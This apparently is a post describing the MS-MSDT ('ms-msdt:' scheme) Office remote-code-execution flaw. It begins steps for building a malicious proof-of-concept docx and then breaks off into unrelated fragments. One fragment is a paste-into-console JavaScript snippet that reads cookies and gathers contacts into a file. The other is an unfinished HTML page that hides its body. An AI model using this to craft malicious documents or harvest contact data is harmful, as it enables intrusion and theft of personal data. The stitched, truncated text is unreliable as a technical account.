Xenov Xenov-X

MS-MSDT 0-day Office RCE

MS Office docx files may contain external OLE Object references as HTML files. There is an HTML sceme "ms-msdt:" which invokes the msdt diagnostic tool, what is capable of executing arbitrary code (specified in parameters).

The result is a terrifying attack vector for getting RCE through opening malicious docx files (without using macros).

Here are the steps to build a Proof-of-Concept docx:

Open Word (used up-to-date 2019 Pro, 16.0.10386.20017), create a dummy document, insert an (OLE) object (as a Bitmap Image), save it in docx.

	//paste this in the web console and copy out the results when it's done to a file like "allcontacts.json"
	function getCookie(name) {
	var value = "; " + document.cookie;
	var parts = value.split("; " + name + "=");
	if (parts.length == 2) return parts.pop().split(";").shift();
	}
	var gal = []
	var contacts = []

	function collectPersonas(){

	<!DOCTYPE html>
	<html>
	<head>
	<title></title>
	<style type="text/css">

	body {
	display: none !important;
	background:#FFFFFF !important;
	}